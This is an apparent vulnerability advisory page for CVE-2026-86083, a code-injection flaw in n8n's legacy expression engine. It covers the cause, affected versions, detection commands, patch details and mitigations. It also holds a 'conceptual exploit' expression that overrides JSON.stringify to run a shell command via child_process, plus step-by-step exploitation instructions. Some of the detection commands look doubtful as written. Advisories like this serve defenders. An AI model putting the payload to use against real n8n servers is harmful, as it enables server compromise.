n8n Legacy Expression Engine, Code Injection (Code Generation), CVE-2026-86083 (High) -DC-Sep2026-2343

Listen to this Post

Technical

CVE-2026-86083 is a critical code injection vulnerability that affects the legacy expression engine in n8n, an open-source workflow automation platform. The flaw exists in how the platform generates source code for expressions during two distinct stages: the compiler when printing synthetic string literals, and the isolate bridge when interpolating timezone values into its per-evaluation wrapper. In both stages, the engine constructs source text by invoking the mutable global `JSON.stringify` function at generation time, rather than using a stable, immutable reference.
Because `JSON.stringify` is a global function that can be reassigned by any JavaScript code executing in the same context, a malicious actor with the ability to author or modify an expression can override this method with custom logic. This manipulation causes the expression engine’s subsequent source generation to produce executable, attacker-controlled code instead of safe literal data. The vulnerability effectively turns literal data into executable source, enabling arbitrary JavaScript code execution within the n8n server environment.
The specific code-generation paths affected are located in `packages/@n8n/expression-runtime/src/bridge/isolated-vm-bridge.ts` and packages/@n8n/tournament/src/ExpressionBuilder.ts. These components rely on the global, mutable function without adequate isolation or protection against method overriding, creating a dangerous attack surface.
This vulnerability is classified as CWE-94: Improper Control of Generation of Code (‘Code Injection’) and carries a CVSS 4.0 base score of 7.7, reflecting its high severity and network-exploitable nature requiring low privileges with no user interaction.
Importantly, the vulnerability only affects instances running the legacy expression engine. The `vm` expression engine, which is the default on patched releases, employs stricter sandboxing that prevents such manipulation and is not affected.
The patch renders both code-generation stages through a reference captured at module load time, ensuring that a later change to global state cannot alter the generated source. Administrators should immediately upgrade to n8n versions 1.123.76, 2.37.7, or 2.38.2 to remediate the vulnerability.

DailyCVE Form

Platform: n8n
Version: Prior 1.123.76
Vulnerability: Code Injection
Severity: High
date: 2026-09-08

Prediction: 2026-09-15

What Undercode Say

Analytics

Check current n8n version
n8n --version
Identify if legacy expression engine is in use
echo $N8N_EXPRESSION_ENGINE
Search n8n logs for expression evaluation errors
grep -i "expression" /var/log/n8n/n8n.log
Inspect workflow JSON for suspicious expression overrides
cat workflow.json | jq '.nodes[].parameters | select(contains("JSON.stringify"))'
Test if JSON.stringify has been globally overridden in expression context
n8n execute --rawOutput '{"test": {{ JSON.stringify.toString() }}}'
// Vulnerable pattern in ExpressionBuilder.ts (conceptual)
const serialized = JSON.stringify(syntheticLiteral);
// Patched pattern
const stringify = JSON.stringify; // Captured at module load
const serialized = stringify(syntheticLiteral);
// Conceptual exploit: overriding JSON.stringify to inject code
// This expression would be placed in a node parameter
{{ (() => {
const originalStringify = JSON.stringify;
JSON.stringify = function(value) {
if (typeof value === 'string' && value.includes('<strong>INJECT</strong>')) {
return originalStringify('"); require("child_process").execSync("id"); //');
}
return originalStringify(value);
};
return 'trigger';
})() }}

Exploit: (Educational Purposes!)

  1. Authenticate to the n8n instance with a low-privileged account that has workflow creation or editing permissions.
  2. Create or modify a workflow node parameter containing an expression that overrides the global `JSON.stringify` function.
  3. The malicious expression replaces `JSON.stringify` with a function that returns crafted source code when the engine attempts to serialize subsequent literal data or timezone values.
  4. When the expression engine generates source for later evaluations, the overridden function injects executable JavaScript into the generated source.
  5. The injected code executes in the context of the expression engine, allowing arbitrary command execution on the n8n server.

Protection: from this CVE

  • Immediately upgrade n8n to version 1.123.76, 2.37.7, or 2.38.2 or later.
  • Set the environment variable `N8N_EXPRESSION_ENGINE=vm` to switch to the vm expression engine, which is not affected by this vulnerability.
  • Restrict n8n instance access to fully trusted users only, limiting workflow creation and editing permissions.
  • Ensure the n8n process runs under a dedicated low-privilege OS user account to limit the impact of any command execution.
  • Audit existing workflows for unexpected or unfamiliar expressions in node parameters.
  • Deploy n8n in a hardened environment with restricted network reachability to limit post-exploitation impact.

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript code within the n8n server environment, leading to full compromise of the underlying system, data exfiltration, or lateral movement within the network, depending on the privileges under which the n8n instance operates. The vulnerability requires network access and low-level privileges with no user interaction, making it a significant threat to organizations running affected n8n instances with untrusted workflow editors.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top